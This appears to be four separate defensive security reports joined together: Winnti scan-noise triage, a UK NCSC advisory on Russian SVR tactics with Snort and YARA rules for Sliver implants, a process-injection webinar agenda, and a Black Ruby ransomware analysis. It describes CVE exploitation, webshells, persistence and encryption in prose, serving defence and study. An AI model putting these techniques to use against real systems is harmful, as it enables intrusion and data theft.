While no new campaign has been publicly reported after the one targeting German pharmaceutical companies in April 2019, since July 2019 we have been seeing a dramatic increase of network activity related to Winnti. This telemetered traffic was due to external Winnti check-ins or “Winnti HELO” messages sent out by non-malicious Winnti scanners looking for hosts infected by the Winnti implant. Thanks to the massive increase of investigation-oriented traffic, the actual signal from real attacks is buried in the noise generated by scan traffic. Such extremely low signal-to-noise ratio poses huge challenges for both investigators and customers looking to identify real attacks.
In this report, we investigate the magnitude of this phenomenon, attempt to mitigate these challenges, and propose an effective triage process benefiting the whole security community. We start by providing a brief overview of the Winnti toolkit implants lifecycle. Then, we discuss the last two months of internal telemetry data showing the dramatic increase of Winnti traffic from various sources, and explain why this is a challenging problem for both researchers and network administrators. Finally, we provide a deep dive on the issue, share our findings, and propose an effective triage process tailored to both researchers and security professionals.
## What is Winnti?
Winnti represents a malware family with Remote Access Trojan (RAT) functionalities. The memory-resident malware is highly persistent: once it is successfully installed on a victim’s host, it gives the criminals the capability to control the infected computer without the victim’s knowledge. Historically, the targets attacked vary from online gaming companies to the pharmaceutical industry.
The actors behind Winnti have been active at least since 2009, and, throughout the decade since its initial attack, Winnti has been evolving into a more advanced and sophisticated toolkit. The toolkit comprises four main components, all taking part in the execution cycle:
- **Dropper**: a module responsible for dropping the Winnti malware on a victim’s machine.
- **Worker**: a module responsible for communication (such as parsing HELO messages) and plugin management.
- **Service**: a module whose primary function is to activate the engine component.
- **Engine**: a module that only exists in memory once activated by the Service component; its main function is to fulfill the malware installation process after the Service component passes control to the Install function in the engine component.
Extensive investigations on the malware have been published by Kaspersky, Novetta, and Thyssenkrupp’s CERT, with a more recent case study by Chronicle about a Linux variant. Once the highly persistent memory-resident implant is successfully installed on a victim’s host, the malware operators can initiate a check-in connection directly to an infected host without relying on a C2 server (though it does call out to a C2 server to receive commands in some cases).
## Tracking Winnti
Once the implant is installed on an infected host, the attack operators can directly communicate with the host. A rootkit deployed together with the worker component allows Winnti to intercept and redirect specifically crafted TCP connections from ports already used by legitimate applications. This specific communication approach between the threat actor and the infected host provides a great way for investigators to track Winnti activity and subsequently detect the malware.
The idea of using mimicked “Winnti HELO” messages does indeed ease the challenge of finding infected hosts, but it also introduces a new problem: noise. Since all publicly available signatures flag a possible Winnti attack whenever a “Winnti HELO” message is detected, each external scan now automatically translates to a new alert. As a result, the superimposed network traffic with dominant noisy scan signals poses huge challenges for both researchers and SOC analysts.
## Mitigation
A successful three-way handshake is the first requirement for a check-in to be successful. If the connection is not successful, then we know there is no infection. The only case where further analysis is required is when there is an established connection, and in such case we need to inspect the response by taking into account the specific application-layer protocol used by the server to reply.
If the first message of the TCP flow is 16 bytes long (and it follows a specific format), the rootkit will redirect the rest of the connection towards its worker module. This connection hijacking capability allows us to effectively identify whether a host is infected or not. In other words, if the application-layer protocol returns a standard message upon a “Winnti HELO” check-in, it implies that the host is not infected.
### HTTP
When the attackers send the Winnti HELO message using a connection established on port 80, the most likely service listening, if any, is a web server. This means that if the request cannot be parsed by the userspace process (the web server), the most likely answer is a web page detailing that the parsing failed.
### SMTP
Similarly, if an SMTP server being scanned returns an error message after receiving a Winnti check-in on port 25, it is clear that the connection reached the user space application. This implies that there was no Winnti implant on the host.
### HTTPS
Checking TLS-encrypted connections is much more challenging, because the data received from an endpoint does not clearly show whether the response is generated by a Winnti implant or just by the associated server. In these cases, we need to rely on other clues, for example the intrinsic characteristics of a valid response to a Winnti check-in.
## Conclusions
Over the last decade, Winnti has evolved into an advanced and sophisticated toolkit. Nowadays, many organizations of different sizes still suffer from such attacks. In the meantime, emulated “Winnti HELO” check-ins hoping to identify infected hosts have led to a dramatic increase in network activity, posing new challenges to security professionals whose job is the triaging of network-based attacks.
In this report, we carried out a comprehensive investigation of all Winnti alerts collected over two months of internal telemetry data, including:
- Overview of the Winnti toolkit implants life cycle.
- The cause behind the dramatic increase of Winnti activity.
- New challenges tracking Winnti activity and how they affect SOC’s triage processes.
We demonstrated how we can considerably mitigate the challenges in differentiating real attacks from benign scans. If a host is not infected by Winnti, it is not able to parse an incoming “Winnti HELO” message; if there is an application listening on that specific port, it will also respond with an application-layer error message. If a host is infected by Winnti, the Winnti rootkit hijacks the check-in message and redirects the rest of the connection towards its worker module.
In addition, we also investigated the distribution of HELO values and identified a few flaws (e.g., constant values), leading us to believe that such HELO messages were probably generated by benign scanners, not real attacks. A motivated attacker can always modify the current Winnti implant to selectively ignore such “anomalous” check-ins, as a covert attempt to fly under the radar. |
# Advisory: Further TTPs Associated with SVR Cyber Actors
**Version 1.0**
**7 May 2021**
**© Crown Copyright 2021**
## Introduction
This report provides further details of Tactics, Techniques and Procedures (TTPs) associated with SVR cyber actors. SVR cyber actors are known and tracked in open source as APT29, Cozy Bear, and the Dukes. UK and US governments recently attributed SVR’s responsibility for a series of cyber-attacks, including the compromise of SolarWinds and the targeting of COVID-19 vaccine developers. Alongside this attribution, the United States’ National Security Agency (NSA), Federal Bureau of Investigation (FBI), and Cybersecurity and Infrastructure Security Agency (CISA) released an advisory detailing the exploits most recently used by the group. The FBI, Department of Homeland Security (DHS), and CISA also issued an alert providing information on the SVR’s cyber tools, targets, techniques, and capabilities.
The SVR is Russia’s civilian foreign intelligence service. The group uses a variety of tools and techniques to predominantly target overseas governmental, diplomatic, think-tank, healthcare, and energy targets globally.
## Initial Access
As previously reported, the group frequently uses publicly available exploits to conduct widespread scanning (T1595.002) and exploitation (T1190) against vulnerable systems. The group seeks to take full advantage of a variety of exploits when publicized. The group has used:
- CVE-2018-13379 FortiGate
- CVE-2019-1653 Cisco router
- CVE-2019-2725 Oracle WebLogic Server
- CVE-2019-9670 Zimbra
- CVE-2019-11510 Pulse Secure
- CVE-2019-19781 Citrix
- CVE-2019-7609 Kibana
- CVE-2020-4006 VMWare
- CVE-2020-5902 F5 Big-IP
- CVE-2020-14882 Oracle WebLogic
- CVE-2021-21972 VMWare vSphere
This list should not be treated as exhaustive. The group will look to rapidly exploit recently released public vulnerabilities which are likely to enable initial access to their targets. More information about these exploits can be found in previous NCSC advisories on Citrix and VPN vulnerabilities. Network defenders should ensure that security patches are applied promptly following CVE announcements for products they manage.
Most recently, the group has also scanned for Microsoft Exchange servers vulnerable to CVE-2021-26855. Such activity is typically followed by the use of further exploits and deployment of a webshell (T1505.003) if successful. Other Microsoft Exchange exploits commonly used in conjunction with this CVE include:
- CVE-2021-26857 (SOAP payload)
- CVE-2021-26858 (Arbitrary files)
- CVE-2021-27065 (Arbitrary files)
More information about these exploits and mitigation advice can be found on the NCSC website.
## Supply Chain Compromises
The SolarWinds campaign demonstrates the actor’s willingness to target organisations that supply privileged software (T1195.002), such as network management or security applications, to many users or organisations. These types of attacks give SVR actors initial access to a large number of organisations. From this initial access, the actors select a much smaller number of victims for follow-on compromise activity. These victims are targeted in line with intelligence priorities.
Enterprise products and applications deployed across multiple organisations will be attractive supply chain targets. Products which require access to a significant portion of user or network data to operate are likely to be especially attractive targets. Earlier this year, Mimecast and SolarWinds acknowledged compromises, now known to be conducted by SVR cyber operators.
## Post-Compromise
NCSC and partner industry analysis shows that on multiple occasions, SVR actors used Cobalt Strike, a commercial Red Team command and control framework, to carry out their operations after initial exploitation (e.g., compromise of SolarWinds platform). The group also deployed GoldFinder, GoldMax, and Sibot malware after compromising a victim via SolarWinds. GoldMax is a custom backdoor, GoldFinder is a custom tool – both are written in Golang. Sibot is a simple custom downloader and, unlike other malware in recent use by the group, is written in VBS (T1059.005).
In separate incidents, the NCSC observed that once SVR actors had gained initial access to a victim’s network, they then made use of the open-source Red Team command and control framework named Sliver. The use of the Sliver framework was likely an attempt to ensure access to a number of the existing WellMess and WellMail victims was maintained.
Following the publication of the joint WellMess Advisory, SVR cyber operators used the Sliver framework. Sliver is an open-source, cross-platform adversary-simulation/red team platform written in Golang that supports command and control mechanisms over a variety of protocols including Mutual-TLS (T1573.002), HTTP/S (T1071.001), and DNS (T1071.004).
SVR actors have used methods other than malware to maintain persistence on high-value targets, including the use of stolen credentials.
## Mail Server Persistence
SVR actors often target administrator mailboxes in order to acquire further network information and access. This is likely in an effort to better understand the target network and obtain further privileges or credentials for persistence and/or lateral movement. In one example identified by the NCSC, the actor had searched for authentication credentials in mailboxes, including passwords and PKI keys (T1552).
In another incident, the actor leveraged access gained from the SolarWinds campaign to compromise a certificate (T1552.004) issued by Mimecast. The actor used that access to authenticate a subset of Mimecast’s products with customer systems (T1199). In this way, the actor was able to abuse the Mimecast Azure app in order to compromise the final target.
The Mimecast Azure application's default application permissions allowed the application full access to all mailboxes in the victim organisation's tenant. Once the actor had gained access to this application, they were able to utilize the application's permissions in order to extract emails from any mailbox used by the victim organisation (T1114.002).
## MITRE ATT&CK®
This advisory has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.
| Tactic | Technique | Procedure |
|-------------------|---------------------------------------------|-----------|
| Reconnaissance | T1595.002: Active Scanning | SVR frequently scans for publicly available exploits, most recently including Microsoft Exchange servers vulnerable to CVE-2021-26855. |
| Initial Access | T1190: Exploit Public-Facing Application | SVR frequently uses publicly available exploits to conduct widespread exploitation of vulnerable systems, including against Citrix, Pulse Secure, FortiGate, Zimbra, and VMWare. |
| | T1195.002: Supply Chain Compromise | SVR targets organisations who supply privileged software to intelligence targets. |
| | T1199: Trusted Relationship | SVR leveraged access gained from the SolarWinds campaign to compromise a certificate issued by Mimecast, which it then used to authenticate a subset of Mimecast's products with customer systems. |
| Execution | T1059.005: Command and Scripting Interpreter: Visual Basic | SVR deployed Sibot, a simple custom downloader written in VBS, after compromising victims via SolarWinds. |
| Persistence | T1505.003: Server Software Component: Web Shell | SVR typically deploys a web shell on Microsoft Exchange servers following successful compromise. |
| | T1078: Valid Accounts | SVR actors have maintained persistence on high-value targets using stolen credentials. |
## Conclusion
The SVR targets organisations that align with Russian foreign intelligence interests, including governmental, think-tank, policy, and energy targets, as well as more time-bound targeting, for example, COVID-19 vaccine targeting in 2020. Organisations are advised to follow the mitigation advice and guidance below, as well as the detection rules in the appendix to help protect against this activity. Organisations should also follow the advice and guidance in the recently published NSA advisory and the FBI and CISA alert, which detail further TTPs linked to SVR cyber actors.
## Reporting to the NCSC
UK organisations affected by the activity outlined should report any suspected compromises to the NCSC via the website.
## Mitigation Advice
- SVR actors regularly make use of publicly known vulnerabilities (alongside complex supply chain attacks) to gain initial access onto target networks. Managing and applying security updates as quickly as possible will help reduce the attack surface available for SVR actors and force them to use higher equity tooling to gain a foothold in the networks.
- Despite the complexity of supply chain attacks, following basic cybersecurity principles will make it harder for even sophisticated actors to compromise target networks. By implementing good network security controls and effectively managing user privileges, organisations will help prevent lateral movement between hosts. This will help limit the effectiveness of even complex attacks. Further NCSC advice is available via the links in the guidance section below.
- Detecting supply chain attacks, such as the Mimecast compromise, will always be difficult. An organisation may be able to detect this sort of activity through heuristic detection methodologies such as the volume of emails being accessed or by identifying anomalous IP traffic. However, the actor frequently uses malicious infrastructure located within the target organisation’s own country, likely in an effort to frustrate detection efforts.
- Organisations should ensure sufficient logging (both cloud and on-premises) is enabled and stored for a suitable amount of time, to identify compromised accounts, exfiltrated material, and actor infrastructure. Mail retention and content policies should also be implemented to reduce the amount of sensitive information available upon successful compromise. Particularly sensitive information, including information relating to network architecture and network security, should be safeguarded appropriately.
- As part of Microsoft's 'Advanced Auditing' functionality, Microsoft has introduced a new mailbox auditing action called 'MailItemsAccessed' which helps with investigating the compromise of email accounts. This is part of Exchange mailbox auditing and is enabled by default for users that are assigned an Office 365 or Microsoft 365 E5 license or for organisations with a Microsoft 365 E5 compliance add-on subscription.
- With ‘MailItemsAccessed’ enabled, administrators are able to identify almost every single email accessed by a user, giving organisations forensic defensibility to help assert which individual pieces of mail were or were not maliciously accessed by an attacker.
## Further Guidance
A variety of mitigations will be of use in defending against the campaigns detailed in this report:
- Protect your devices and networks by keeping them up to date: use the latest supported versions, apply security patches promptly, use anti-virus, and scan regularly to guard against known malware threats.
- Use multi-factor authentication (2-factor authentication/two-step authentication) to reduce the impact of password compromises.
- Treat people as your first line of defence. Tell staff how to report suspected phishing emails, and ensure they feel confident to do so. Investigate their reports promptly and thoroughly. Never punish users for clicking phishing links or opening attachments.
- Set up a security monitoring capability so you are collecting the data that will be needed to analyse network intrusions.
- Prevent and detect lateral movement in your organisation’s networks.
## Appendix
### Snort Rules
Sliver HTTP request URLs are procedurally generated according to a set pattern, as per the implant/sliver/transports/tcp-http.go file.
- The resource file extension defines the beacon type.
- A random number generator decides whether to include a parent folder in the URL path.
- The parent folder and resource filename are randomly chosen from predefined lists per beacon type.
- The URL query parameter underscore _ is a numeric value which specifies the payload encoding format.
- Results can be further filtered by User-Agent, Accept-Language, and PHPSESSID Cookie headers.
```plaintext
alert tcp any any -> any any (msg: "Sliver HTTP implant beacon - robots.txt getPublicKey"; content:"/robots.txt?_="; pcre:"/\AGET (?:\/(?:static|www|assets|text|docs|sample))?\/robots\.txt\?_=[0-9]{1,9} HTTP/";)
alert tcp any any -> any any (msg: "Sliver HTTP implant beacon - sample.txt getPublicKey"; content:"/sample.txt?_="; pcre:"/\AGET (?:\/(?:static|www|assets|text|docs|sample))?\/sample\.txt\?_=[0-9]{1,9} HTTP/";)
alert tcp any any -> any any (msg: "Sliver HTTP implant beacon - info.txt getPublicKey"; content:"/info.txt?_="; pcre:"/\AGET (?:\/(?:static|www|assets|text|docs|sample))?\/info\.txt\?_=[0-9]{1,9} HTTP/";)
alert tcp any any -> any any (msg: "Sliver HTTP implant beacon - example.txt getPublicKey"; content:"/example.txt?_="; pcre:"/\AGET (?:\/(?:static|www|assets|text|docs|sample))?\/example\.txt\?_=[0-9]{1,9} HTTP/";)
alert tcp any any -> any any (msg: "Sliver HTTP implant beacon - .jsp getSessionID"; content:".jsp?_="; pcre:"/\APOST (?:\/(?:app|admin|upload|actions|api))?\/(?:login|admin|session|action)\.jsp\?_=[0-9]{1,9} HTTP/";)
alert tcp any any -> any any (msg: "Sliver HTTP implant beacon - login.php Send"; content:"/login.php?_="; pcre:"/\APOST (?:\/(?:api|rest|drupal|wordpress))?\/login\.php\?_=[0-9]{1,9} HTTP/";)
alert tcp any any -> any any (msg: "Sliver HTTP implant beacon - signin.php Send"; content:"/signin.php?_="; pcre:"/\APOST (?:\/(?:api|rest|drupal|wordpress))?\/signin\.php\?_=[0-9]{1,9} HTTP/";)
alert tcp any any -> any any (msg: "Sliver HTTP implant beacon - api.php Send"; content:"/api.php?_="; pcre:"/\APOST (?:\/(?:api|rest|drupal|wordpress))?\/api\.php\?_=[0-9]{1,9} HTTP/";)
alert tcp any any -> any any (msg: "Sliver HTTP implant beacon - samples.php Send"; content:"/samples.php?_="; pcre:"/\APOST (?:\/(?:api|rest|drupal|wordpress))?\/samples\.php\?_=[0-9]{1,9} HTTP/";)
alert tcp any any -> any any (msg: "Sliver HTTP implant beacon - underscore.min.js Poll"; content:"/underscore.min.js?_="; pcre:"/\AGET (?:\/(?:js|static|assets|dist|javascript))?\/underscore\.min\.js\?_=[0-9]{1,9} HTTP/";)
alert tcp any any -> any any (msg: "Sliver HTTP implant beacon - jquery.min.js Poll"; content:"/jquery.min.js?_="; pcre:"/\AGET (?:\/(?:js|static|assets|dist|javascript))?\/jquery\.min\.js\?_=[0-9]{1,9} HTTP/";)
```
### YARA Rules
The following Yara rules will aid network defenders in detecting Sliver. It should be noted that other frameworks may rely on code from the Sliver project (e.g., WireGost). Sliver is also used to conduct legitimate pen-testing activity. Therefore, a Sliver detection does not necessarily indicate a compromise by APT29.
```plaintext
rule sliver_github_file_paths_function_names {
meta:
author = "NCSC UK"
description = "Detects Sliver Windows and Linux implants based on paths and function names within the binary"
strings:
$p1 = "/sliver/"
$p2 = "sliverpb."
$fn1 = "RevToSelfReq"
$fn2 = "ScreenshotReq"
$fn3 = "IfconfigReq"
$fn4 = "SideloadReq"
$fn5 = "InvokeMigrateReq"
$fn6 = "KillSessionReq"
$fn7 = "ImpersonateReq"
$fn8 = "NamedPipesReq"
condition:
(uint32(0) == 0x464C457F or (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550)) and (all of ($p*) or 3 of ($fn*))
}
rule sliver_proxy_isNotFound_retn_cmp_uniq {
meta:
author = "NCSC UK"
description = "Detects Sliver implant framework based on some unique CMPs within the Proxy isNotFound function. False positives may occur"
strings:
$ = {C644241800C381F9B3B5E9B2}
$ = {8B481081F90CAED682}
condition:
(uint32(0) == 0x464C457F or (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550)) and all of them
}
rule sliver_nextCCServer_calcs {
meta:
author = "NCSC UK"
description = "Detects Sliver implant framework based on instructions from the nextCCServer function. False positives may occur"
strings:
$ = {4889D3489948F7F94839CA????48C1E204488B0413488B4C1308}
condition:
(uint32(0) == 0x464C457F or (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550)) and all of them
}
```
## About this Document
This advisory is the result of a collaborative effort by the United Kingdom’s National Cyber Security Centre (NCSC), the United States’ National Security Agency (NSA), the Federal Bureau of Investigation (FBI), and the Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA). The United States’ National Security Agency (NSA) agrees with this attribution and the details provided in the report.
## Disclaimer
This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks, and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. All material is UK Crown Copyright © |
# ATT&CK® Deep Dive: Process Injection
## Why Focus on Process Injection?
Process Injection encompasses a wide array of malicious behaviors that offer adversaries an inconspicuous method of evading defensive controls, elevating their privilege level, or otherwise executing arbitrary code. It’s so broad that in the next ATT&CK release, MITRE is recategorizing the technique into 11 sub-techniques. As such, this is the perfect time for an in-depth, technical conversation exploring the ways that adversaries leverage Process Injection, what malicious process injection looks like, and how you can detect it.
### Webinar Agenda
- **01:25** Panelist Introduction
- **02:10** What Red Canary Does
- **02:35** Process Injection Definition
- “Process injection is a way of running arbitrary code in another process’s memory space.” – Adam
- **03:30** Why Leverage Process Injection
- “It can be a very good way to evade defenders and defensive controls that are focused around specific tools.” – Adam
- **04:55** Sub-techniques of Process Injection
- “Process injection, which is a fairly broad technique, has been broken out into 11 different sub-techniques which are more specific techniques or ways of actually doing process injection.” – Adam
- **07:11** Portable Executable Injection
- “The ability to inject that into another process and then invoking it by spawning a new thread.” – Matt
- **09:40**
- “This technique offers an attacker particular flexibility in that it facilitates direct injection into their target.” – Matt
- **11:15** Ramnit
- “In the case of Ramnit, it injects a traditional DLL into a browser process.” – Matt
- **14:14** Observing PE Injection
- “What are the absolute minimum requirements an attacker has imposed in order to successfully carry out the attack technique?” – Matt
- **17:05** Detecting PE Injection
- “Since they’re already writing their own position-independent code, there’s no hard requirement that they must write a PE header into the memory space of another process, but a lot of malware does.” – Matt
- **21:30** Thread Local Storage
- “Although it is kind of uncommon, it can be a successful anti-analysis technique because typically analysis is going to start at the entry point of the PE, and this malware is going to get executed before that is reached.” – Erika
- **22:52** Ursnif
- “It’s often spread via malicious Office documents.” – Erika
- **23:29** Observing Malicious TLS Callbacks
- “Within the PE header itself, there is a TLS directory which contains information about TLS data objects. These thread local storage objects basically allow each thread to have its own static data area for custom variables, or custom thread initialization routines that they want to employ.” – Erika
- **28:29** Detecting Malicious TLS Callbacks
- “We talked about some of the APIs that are used by this technique, you can obviously detect the usage of those, but the usage of any one of those by itself is not going to indicate malicious activity.” – Erika
- **30:38** Process Hollowing
- “It allows an attacker to carve out the executable section of a legitimate or benign process and replace it with their own payload.” – David
- **33:42** Process Hollowing: Generalized Technique
- “Once the attacker has obtained the PE address, the third step is to perform the hollowing itself.” – David
- **41:55** Trickbot
- “What’s interesting for us as technical defenders is that we use a number of varied techniques taking shape.” – David
- **43:52** Process Hollowing: Trickbot
- “They create a section that describes their unpacked code. This is created within the originator process, meaning within the malware process itself. They create a new section that describes the unpacked code to inject or make resident within the hollowed process.” – David
- **47:52** Detecting Process Hollowing
- “It’s difficult to get a robust detection at scale.” – David
- **52:16** Linux
- “We only had these three Linux-only techniques in ATT&CK today.” – Adam
- **57:38** MacOS
- “Injection isn’t seen in malware on the Mac platform, and there are a few reasons for that. The most prevalent being that it is much harder than getting the user to click on something and type in their password.” – Erika
- **01:00:52** Mitigating Process Injection
- “There is no specific mitigation against all forms of process injection.” – Matt
- **01:04:05** Questions & Answers
We will be following up with questions and answers in a blog post soon. |
# Black Ruby: Combining Ransomware and Coin Miner Malware
February 28, 2018 — Ravikant Tiwari
In the midst of all the news and hype surrounding cryptocurrency, we’ve seen several coin miner malware programs popping into the wild, infecting a number of computers on the internet. There’s been an upsurge in coin miner malware that victimizes individual PCs and businesses using the same techniques and exploits that were previously attributed to distributed ransomware. With all this happening, the cybersecurity industry started speculating that there is a shift from ransomware to coin miners as the preferred choice of payload for cybercriminals.
Interestingly, what we found was a new ransomware called Black Ruby that adds coin mining as a module on top of its ransomware capabilities. Attackers are optimizing their attack methodology to maximize the profits they make from their victims. Rather than focus on one type of attack, this indicates a rise in both ransomware and coin miners.
## Technical Analysis
Black Ruby was discovered earlier this month. The first Virustotal submission was dated 2018-02-04 09:50:37, just the day after it was compiled according to the timestamp in the PE header. A new variant of Black Ruby with some minor changes was also discovered.
The ransomware identifies itself as Microsoft Windows Defender, using file names like “Windows Defender.exe” or “WINDOWSUI.EXE”. The malware binary (MD5: 81E9036AED5502446654C8E5A1770935) is a dotnet executable that is obscured using Babel Obfuscator. It encrypts user files using RSA and AES. The Monero miner module is contained in an encrypted form within the resource directory, which is then decrypted and deployed during execution.
### GeoIP and Environment Checks
It starts by creating a mutual exclusion object (mutex) with the name "TheBlackRuby" and exits if the name already exists to ensure that only one instance of the application is running. The next check determines the machine’s country, which is done by connecting to “http://freegeoip.net/json/”. If the response contains Iran’s country code, the malware stops and exits.
### Installation and Persistence
Black Ruby adds the following registry to maintain persistence:
- HKEY_CURRENT_USER\SOFTWARE\Microsoft\BlackRuby ‘Install’ = ‘Max’
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ‘Windows Defender’ = ‘C:\Windows\system32\BlackRuby\WindowsUI.exe’
If Key 1 is already present on the machine, the malware just starts the coin miner executable that it would have deployed earlier, when the install key was not present or during its first run. The CreatePersistence() function generates the above-mentioned registry key. If Key 1 is not found, it returns as “false”, otherwise it returns as “true”.
DeployExecutables() creates a new directory named “BlackRuby” in the system directory (“C:\Windows\System32’), copying the main executable with the name “WindowsUI.exe” and adding the coin miner executable (decrypted from the resource directory) as “Svchost.exe”.
After successfully deploying its malicious executables, Black Ruby executes the RansomwareMain() function, which is responsible for key generation, deleting shadow copies of the user’s files, clearing event logs, modifying boot status policies, and encrypting the user’s files.
### Key Generation
Black Ruby uses an AES symmetric cipher to encrypt user files. Unlike other ransomware strains which use per-file AES keys and session RSA keys for stronger encryption, Black Ruby uses the same AES key to encrypt all files on the system. The AES encryption uses the following configuration:
The file encryption AES key is generated by combining a random password computed once on each machine, with some other artifacts like machine name and count of logical drives, in the following format:
`<random_password>-<machine_name>:<logical_drive_count>` (e.g.: `>x6Ru@ufT4@lxsYkgj$X)OzuIVs&MjV&pUkf7rVJ7h8X>BMZuNVrbqurR-DESKTOP_XXXXXXX:2`)
This AES key is then encrypted with a master RSA public key that is hardcoded in the binary in its base64 form. The encrypted AES key is converted to base64, which is then transformed into its hexadecimal representation and written to the ransomware “Help” file as HOW-TO-DECRYPT-FILES.txt along with other ransom notes. These help files are present in each directory containing the encrypted user files.
### File Encryption
The Black Ruby ransomware enumerates all files on fixed, removable, and network drives, and encrypts only those types that are included on the list of extensions hardcoded in the binary and have a file size less than 512 MB. It also skips files with a name larger than 255 bytes. If the file has an extension “bkf”, it is deleted.
Black Ruby reads the full file in the memory array and appends the original file name at the end, before passing it to the AES encryption routine. After encryption, the original file content is overwritten with encrypted content and the file is moved into the same directory with a random file name in the following format:
`Encrypted_<random_string>.BlackRuby` (e.g. `Encrypted_VdGcVZ7RUKFUYvYk6gZCVTNLkNsUin5SuvmfovndF.BlackRuby`)
Unfortunately, if an exception occurs while modifying any file attributes or during the encryption process, the file gets deleted from the machine.
Black Ruby does not encrypt files present under certain folders.
### Removing Shadow Copies and Covering Tracks
Black Ruby executes the following commands in sequence to remove automatic backups created by the Windows volume shadow copy service, and to delete the event logs from the machine. It also terminates any process that contains “sql” in its name. This full routine is executed before the file encryption process.
### Ransom Notes
A ransom note HOW-TO-DECRYPT-FILES.txt is created in all the directories containing the encrypted user files.
### Decryption
There is no free decryption tool available for this ransomware yet. The only way to get files back is to follow the instructions provided in the ransom note and pay the attacker the equivalent of $650 in bitcoins. However, paying attackers is not encouraged. Attackers offer free decryption for two files less than 5 MB which you can send to their email address along with the Identification Key mentioned in the ransom note.
### Coin Miner
Finally, Black Ruby calls ExecuteMiner() to launch the Monero miner (Svchost.exe) that it injected earlier. The Monero miner executable turns out to be the XMRig CPU miner that is publicly available on GitHub.
It uses the Stratum mining protocol for pooled mining. The username is the wallet address of the attacker, the system’s username is the worker or mining identifier, and the machine name is the password.
## Conclusion
Black Ruby uses the de facto international standard for encryption and there is no way to recover files once they are encrypted unless the user has proper backups in place. Acronis True Image 2018 and our other products with Acronis Active Protection enabled will prevent Black Ruby and other ransomware from encrypting your valuable data, stop money from being mined for attackers, and ensure that you have the ability to restore encrypted files. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.